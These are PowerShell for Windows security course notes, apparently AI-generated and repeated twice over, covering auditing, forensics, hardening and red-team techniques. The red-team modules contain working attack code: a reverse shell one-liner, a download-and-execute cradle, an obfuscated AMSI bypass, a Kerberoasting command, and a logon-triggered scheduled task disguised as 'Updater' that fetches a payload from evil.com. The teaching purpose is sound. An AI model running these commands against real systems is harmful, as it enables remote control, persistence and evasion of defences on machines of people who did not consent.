PowerShell for Windows Security
Target Audience: Blue Teamers, SOC Analysts, Pentesters, Windows Admins, Red Teamers Prerequisites: Windows 10/11, PowerShell 5.1+ (or PowerShell 7), Admin rights (for labs) Tools: Windows 10/11 VM, PowerShell ISE / VS Code, Sysinternals Suite Ethical Use Only: All scripts for authorized systems only (labs, CTFs, enterprise with consent)
PowerShell for Windows Security
PowerShell for Windows Security
PowerShell for Windows Security: Complete Course Notes
Master PowerShell to Secure, Audit, Exploit & Respond on Windows Systems
COURSE OVERVIEW
Target Audience: Blue Teamers, SOC Analysts, Pentesters, Windows Admins, Red Teamers
Prerequisites: Windows 10/11, PowerShell 5.1+ (or PowerShell 7), Admin rights (for labs)
Tools: Windows 10/11 VM, PowerShell ISE / VS Code, Sysinternals Suite
Ethical Use Only: All scripts for authorized systems only (labs, CTFs, enterprise with consent)
WHY PowerShell FOR WINDOWS SECURITY?
| Feature | Security Advantage |
|---|---|
| Built-in | No install needed |
| .NET Integration | Full access to Windows APIs |
| WMI/CIM | Query hardware, services, processes |
| Active Directory | Manage users, GPOs, domains |
| Logging | Full audit trail (Script Block Logging) |
| AMSI | Bypassed in red teaming (learn defense) |
MODULE 1: PowerShell BASICS FOR SECURITY
Key Cmdlets
# Navigation
Get-Location, Set-Location, Get-ChildItem -Recurse
# System Info
Get-ComputerInfo, Get-HotFix, Get-Process, Get-Service
# File Ops
Get-Content, Set-Content, Copy-Item, Remove-Item -Force
# Output
Write-Output, Write-Warning, Write-Error
Hands-On: System Recon
# Save as recon.ps1
$hostname = $env:COMPUTERNAME
$os = (Get-CimInstance Win32_OperatingSystem).Caption
$uptime = (Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$users = Get-LocalUser | Select Name, Enabled, LastLogon
Write-Host "=== Recon Report ===" -ForegroundColor Green
Write-Host "Host: $hostname"
Write-Host "OS: $os"
Write-Host "Uptime: $($uptime.Days) days"
Write-Host "`nLocal Users:"
$users | Format-Table
Run: .\recon.ps1 (Allow execution: Set-ExecutionPolicy RemoteSigned -Scope CurrentUser)
MODULE 2: SYSTEM AUDITING & FORENSICS
2.1 Event Log Analysis
# Brute force attempts
Get-WinEvent -LogName "Security" -FilterXPath "*[System[(EventID=4625)]]" -MaxEvents 50 |
Select TimeCreated, @{Name="IP";Expression={$_.Properties[18].Value}}, @{Name="User";Expression={$_.Properties[5].Value}} |
Format-Table -AutoSize
2.2 File Integrity Monitoring
# Baseline
Get-ChildItem "C:\Windows\System32" -File | Get-FileHash -Algorithm SHA256 | Export-Csv baseline.csv
# Later check
$baseline = Import-Csv baseline.csv
Get-ChildItem "C:\Windows\System32" -File | Get-FileHash -Algorithm SHA256 |
Where-Object { $baseline.Hash -notcontains $_.Hash } | Select Path, Hash
2.3 Process Monitoring
# Suspicious processes
Get-Process | Where-Object { $_.Path -notlike "C:\Windows\*" -and $_.Path -notlike "C:\Program Files*" } |
Select Name, Path, Company | Format-Table
MODULE 3: ACTIVE DIRECTORY & DOMAIN SECURITY
3.1 User & Group Enumeration
# Domain users
Get-ADUser -Filter * -Properties LastLogonDate, Enabled |
Where-Object { $_.Enabled -eq $true -and $_.LastLogonDate -lt (Get-Date).AddDays(-90) } |
Select Name, LastLogonDate
# Privileged groups
Get-ADGroupMember "Domain Admins" -Recursive | Select Name, SamAccountName
3.2 GPO Auditing
Get-GPO -All | Select DisplayName, GpoStatus, ModificationTime
Get-GPOReport -All -ReportType Html -Path "gpo_report.html"
3.3 Kerberoasting (Red Team)
# Requires RSAT or Domain Context
Set-ExecutionPolicy Bypass -Scope Process
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
MODULE 4: NETWORK SECURITY & SCANNING
4.1 Port Scanner
function Test-Port {
param($IP, $Port)
$tcp = New-Object System.Net.Sockets.TcpClient
try {
$tcp.Connect($IP, $Port)
Write-Host "$IP`:$Port OPEN" -ForegroundColor Green
$tcp.Close()
return $true
} catch { return $false }
}
1..254 | ForEach-Object { Test-Port "192.168.1.$_" 445 }
4.2 SMB Share Enumeration
Get-SmbShare | Select Name, Path, Description
Get-SmbMapping | Select LocalPath, RemotePath
4.3 Firewall Rules
Get-NetFirewallRule | Where-Object { $_.Enabled -eq $True } |
Select DisplayName, Direction, Action, Profile
MODULE 5: EXPLOITATION & POST-EXPLOITATION (RED TEAM)
WARNING: Use only in authorized labs (e.g., TryHackMe, HTB)
5.1 Reverse Shell (One-Liner)
# Attacker: nc -lvnp 4444
# Victim:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
5.2 Download & Execute
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.10/evil.ps1')
5.3 In-Memory Execution (AMSI Bypass)
# AMSI Bypass (educational)
$s1 = 'A'+'M'+'S'+'I'; $s2 = 'Utils'; $ref = [Ref].Assembly.GetType("System.Management.Automation.$s1$s2"); $field = $ref.GetField('amsiInitFailed','NonPublic,Static'); $field.SetValue($null,$true)
MODULE 6: DEFENSIVE SCRIPTING & HARDENING
6.1 Enable Script Block Logging
# GPO or Registry
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord -Force
6.2 Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
6.3 AppLocker Policy
# Block unsigned scripts
Set-AppLockerPolicy -XmlPolicy applocker.xml
6.4 Windows Defender Scan
Start-MpScan -ScanType FullScan
Get-MpThreat | Select ThreatName, Severity
MODULE 7: AUTOMATION & TOOLING
7.1 Auto-Recon Framework
# auto_recon.ps1
param($Target)
New-Item -ItemType Directory -Path "recon\$Target" -Force
# Nmap
nmap -A -oX "recon\$Target\nmap.xml" $Target
# SMB
Get-SmbShare | Export-Csv "recon\$Target\smb.csv"
# Services
Get-Service | Where-Object {$_.Status -eq "Running"} | Export-Csv "recon\$Target\services.csv"
Write-Host "Recon saved to recon\$Target" -ForegroundColor Cyan
7.2 Incident Response Playbook
# ir_playbook.ps1
$timestamp = Get-Date -Format "yyyyMMdd_HHmm"
$case = "IR_$timestamp"
New-Item -ItemType Directory "C:\IR\$case"
# Collect
Get-Process | Export-Csv "C:\IR\$case\processes.csv"
Get-NetTCPConnection | Export-Csv "C:\IR\$case\netstat.csv"
Get-WinEvent -LogName "Security" -MaxEvents 1000 | Export-Csv "C:\IR\$case\security.log"
Write-Host "IR Data collected in C:\IR\$case"
MODULE 8: ADVANCED TOPICS
8.1 WMI Persistence
# Create scheduled task via WMI
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
8.2 PowerShell Remoting
Enable-PSRemoting -Force
Enter-PSSession -ComputerName WEB01
8.3 Just Enough Administration (JEA)
# Limit what users can run
New-PSSessionConfigurationFile -Path ".\jea.config" -RoleCapabilities "HelpDesk"
Register-PSSessionConfiguration -Name "HelpDesk" -Path ".\jea.config"
CAPSTONE PROJECT: WINDOWS SECURITY TOOLKIT
# winsec_toolkit.ps1
function Show-Menu {
Clear-Host
Write-Host "=== Windows Security Toolkit ===" -ForegroundColor Yellow
Write-Host "1. System Recon"
Write-Host "2. Audit Logs"
Write-Host "3. Port Scan"
Write-Host "4. Enable Hardening"
Write-Host "5. Exit"
}
do {
Show-Menu
$choice = Read-Host "Select"
switch($choice) {
1 { .\modules\recon.ps1 }
2 { .\modules\audit.ps1 }
3 { .\modules\scan.ps1 }
4 { .\modules\harden.ps1 }
}
} while ($choice -ne 5)
Build your own modular toolkit!
RESOURCES & PRACTICE
| Platform | Focus |
|---|---|
| TryHackMe | "PowerShell" room, "Windows Fundamentals" |
| Hack The Box | Windows machines (use PS for post-ex) |
| Microsoft Learn | Free PowerShell modules |
| PowerShell Gallery | Install-Module -Name PSWindowsUpdate |
| Sysinternals | procdump, tcpview |
CHEAT SHEET (One-Page)
# Recon
Get-ComputerInfo, Get-HotFix, Get-LocalUser
# AD
Get-ADUser, Get-ADGroupMember, Get-GPO
# Network
Test-NetConnection, Get-NetTCPConnection
# Logs
Get-WinEvent, Get-EventLog
# Defense
Set-ExecutionPolicy, Enable-PSRemoting, Start-MpScan
# Red Team
IEX, Invoke-Expression, DownloadString, Reverse Shell
FINAL TIPS
- Enable Logging: Script Block + Module Logging in GPO
- Use Signed Scripts:
Set-AuthenticodeSignature - Constrain Remoting: JEA + Just-in-Time Admin
- Monitor AMSI: Detect bypass attempts
- Practice in Labs: Use Metasploitable3 (Windows) or Windows 10 VM
Want PDF, Notion Template, or Video Walkthroughs?
Need CTF Writeups or Exploit Templates?
Just ask — I’ll generate them!
Stay Ethical. Stay Vigilant. Secure Windows.
PowerShell for Windows Security
Target Audience: Blue Teamers, SOC Analysts, Pentesters, Windows Admins, Red Teamers Prerequisites: Windows 10/11, PowerShell 5.1+ (or PowerShell 7), Admin rights (for labs) Tools: Windows 10/11 VM, PowerShell ISE / VS Code, Sysinternals Suite Ethical Use Only: All scripts for authorized systems only (labs, CTFs, enterprise with consent)
PowerShell for Windows Security
PowerShell for Windows Security
PowerShell for Windows Security: Complete Course Notes
Master PowerShell to Secure, Audit, Exploit & Respond on Windows Systems
COURSE OVERVIEW
Target Audience: Blue Teamers, SOC Analysts, Pentesters, Windows Admins, Red Teamers
Prerequisites: Windows 10/11, PowerShell 5.1+ (or PowerShell 7), Admin rights (for labs)
Tools: Windows 10/11 VM, PowerShell ISE / VS Code, Sysinternals Suite
Ethical Use Only: All scripts for authorized systems only (labs, CTFs, enterprise with consent)
WHY PowerShell FOR WINDOWS SECURITY?
| Feature | Security Advantage |
|---|---|
| Built-in | No install needed |
| .NET Integration | Full access to Windows APIs |
| WMI/CIM | Query hardware, services, processes |
| Active Directory | Manage users, GPOs, domains |
| Logging | Full audit trail (Script Block Logging) |
| AMSI | Bypassed in red teaming (learn defense) |
MODULE 1: PowerShell BASICS FOR SECURITY
Key Cmdlets
# Navigation
Get-Location, Set-Location, Get-ChildItem -Recurse
# System Info
Get-ComputerInfo, Get-HotFix, Get-Process, Get-Service
# File Ops
Get-Content, Set-Content, Copy-Item, Remove-Item -Force
# Output
Write-Output, Write-Warning, Write-Error
Hands-On: System Recon
# Save as recon.ps1
$hostname = $env:COMPUTERNAME
$os = (Get-CimInstance Win32_OperatingSystem).Caption
$uptime = (Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$users = Get-LocalUser | Select Name, Enabled, LastLogon
Write-Host "=== Recon Report ===" -ForegroundColor Green
Write-Host "Host: $hostname"
Write-Host "OS: $os"
Write-Host "Uptime: $($uptime.Days) days"
Write-Host "`nLocal Users:"
$users | Format-Table
Run: .\recon.ps1 (Allow execution: Set-ExecutionPolicy RemoteSigned -Scope CurrentUser)
MODULE 2: SYSTEM AUDITING & FORENSICS
2.1 Event Log Analysis
# Brute force attempts
Get-WinEvent -LogName "Security" -FilterXPath "*[System[(EventID=4625)]]" -MaxEvents 50 |
Select TimeCreated, @{Name="IP";Expression={$_.Properties[18].Value}}, @{Name="User";Expression={$_.Properties[5].Value}} |
Format-Table -AutoSize
2.2 File Integrity Monitoring
# Baseline
Get-ChildItem "C:\Windows\System32" -File | Get-FileHash -Algorithm SHA256 | Export-Csv baseline.csv
# Later check
$baseline = Import-Csv baseline.csv
Get-ChildItem "C:\Windows\System32" -File | Get-FileHash -Algorithm SHA256 |
Where-Object { $baseline.Hash -notcontains $_.Hash } | Select Path, Hash
2.3 Process Monitoring
# Suspicious processes
Get-Process | Where-Object { $_.Path -notlike "C:\Windows\*" -and $_.Path -notlike "C:\Program Files*" } |
Select Name, Path, Company | Format-Table
MODULE 3: ACTIVE DIRECTORY & DOMAIN SECURITY
3.1 User & Group Enumeration
# Domain users
Get-ADUser -Filter * -Properties LastLogonDate, Enabled |
Where-Object { $_.Enabled -eq $true -and $_.LastLogonDate -lt (Get-Date).AddDays(-90) } |
Select Name, LastLogonDate
# Privileged groups
Get-ADGroupMember "Domain Admins" -Recursive | Select Name, SamAccountName
3.2 GPO Auditing
Get-GPO -All | Select DisplayName, GpoStatus, ModificationTime
Get-GPOReport -All -ReportType Html -Path "gpo_report.html"
3.3 Kerberoasting (Red Team)
# Requires RSAT or Domain Context
Set-ExecutionPolicy Bypass -Scope Process
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash
MODULE 4: NETWORK SECURITY & SCANNING
4.1 Port Scanner
function Test-Port {
param($IP, $Port)
$tcp = New-Object System.Net.Sockets.TcpClient
try {
$tcp.Connect($IP, $Port)
Write-Host "$IP`:$Port OPEN" -ForegroundColor Green
$tcp.Close()
return $true
} catch { return $false }
}
1..254 | ForEach-Object { Test-Port "192.168.1.$_" 445 }
4.2 SMB Share Enumeration
Get-SmbShare | Select Name, Path, Description
Get-SmbMapping | Select LocalPath, RemotePath
4.3 Firewall Rules
Get-NetFirewallRule | Where-Object { $_.Enabled -eq $True } |
Select DisplayName, Direction, Action, Profile
MODULE 5: EXPLOITATION & POST-EXPLOITATION (RED TEAM)
WARNING: Use only in authorized labs (e.g., TryHackMe, HTB)
5.1 Reverse Shell (One-Liner)
# Attacker: nc -lvnp 4444
# Victim:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
5.2 Download & Execute
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.10/evil.ps1')
5.3 In-Memory Execution (AMSI Bypass)
# AMSI Bypass (educational)
$s1 = 'A'+'M'+'S'+'I'; $s2 = 'Utils'; $ref = [Ref].Assembly.GetType("System.Management.Automation.$s1$s2"); $field = $ref.GetField('amsiInitFailed','NonPublic,Static'); $field.SetValue($null,$true)
MODULE 6: DEFENSIVE SCRIPTING & HARDENING
6.1 Enable Script Block Logging
# GPO or Registry
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord -Force
6.2 Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
6.3 AppLocker Policy
# Block unsigned scripts
Set-AppLockerPolicy -XmlPolicy applocker.xml
6.4 Windows Defender Scan
Start-MpScan -ScanType FullScan
Get-MpThreat | Select ThreatName, Severity
MODULE 7: AUTOMATION & TOOLING
7.1 Auto-Recon Framework
# auto_recon.ps1
param($Target)
New-Item -ItemType Directory -Path "recon\$Target" -Force
# Nmap
nmap -A -oX "recon\$Target\nmap.xml" $Target
# SMB
Get-SmbShare | Export-Csv "recon\$Target\smb.csv"
# Services
Get-Service | Where-Object {$_.Status -eq "Running"} | Export-Csv "recon\$Target\services.csv"
Write-Host "Recon saved to recon\$Target" -ForegroundColor Cyan
7.2 Incident Response Playbook
# ir_playbook.ps1
$timestamp = Get-Date -Format "yyyyMMdd_HHmm"
$case = "IR_$timestamp"
New-Item -ItemType Directory "C:\IR\$case"
# Collect
Get-Process | Export-Csv "C:\IR\$case\processes.csv"
Get-NetTCPConnection | Export-Csv "C:\IR\$case\netstat.csv"
Get-WinEvent -LogName "Security" -MaxEvents 1000 | Export-Csv "C:\IR\$case\security.log"
Write-Host "IR Data collected in C:\IR\$case"
MODULE 8: ADVANCED TOPICS
8.1 WMI Persistence
# Create scheduled task via WMI
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"
8.2 PowerShell Remoting
Enable-PSRemoting -Force
Enter-PSSession -ComputerName WEB01
8.3 Just Enough Administration (JEA)
# Limit what users can run
New-PSSessionConfigurationFile -Path ".\jea.config" -RoleCapabilities "HelpDesk"
Register-PSSessionConfiguration -Name "HelpDesk" -Path ".\jea.config"
CAPSTONE PROJECT: WINDOWS SECURITY TOOLKIT
# winsec_toolkit.ps1
function Show-Menu {
Clear-Host
Write-Host "=== Windows Security Toolkit ===" -ForegroundColor Yellow
Write-Host "1. System Recon"
Write-Host "2. Audit Logs"
Write-Host "3. Port Scan"
Write-Host "4. Enable Hardening"
Write-Host "5. Exit"
}
do {
Show-Menu
$choice = Read-Host "Select"
switch($choice) {
1 { .\modules\recon.ps1 }
2 { .\modules\audit.ps1 }
3 { .\modules\scan.ps1 }
4 { .\modules\harden.ps1 }
}
} while ($choice -ne 5)
Build your own modular toolkit!
RESOURCES & PRACTICE
| Platform | Focus |
|---|---|
| TryHackMe | "PowerShell" room, "Windows Fundamentals" |
| Hack The Box | Windows machines (use PS for post-ex) |
| Microsoft Learn | Free PowerShell modules |
| PowerShell Gallery | Install-Module -Name PSWindowsUpdate |
| Sysinternals | procdump, tcpview |
CHEAT SHEET (One-Page)
# Recon
Get-ComputerInfo, Get-HotFix, Get-LocalUser
# AD
Get-ADUser, Get-ADGroupMember, Get-GPO
# Network
Test-NetConnection, Get-NetTCPConnection
# Logs
Get-WinEvent, Get-EventLog
# Defense
Set-ExecutionPolicy, Enable-PSRemoting, Start-MpScan
# Red Team
IEX, Invoke-Expression, DownloadString, Reverse Shell
FINAL TIPS
- Enable Logging: Script Block + Module Logging in GPO
- Use Signed Scripts:
Set-AuthenticodeSignature - Constrain Remoting: JEA + Just-in-Time Admin
- Monitor AMSI: Detect bypass attempts
- Practice in Labs: Use Metasploitable3 (Windows) or Windows 10 VM
Want PDF, Notion Template, or Video Walkthroughs?
Need CTF Writeups or Exploit Templates?
Just ask — I’ll generate them!
Stay Ethical. Stay Vigilant. Secure Windows.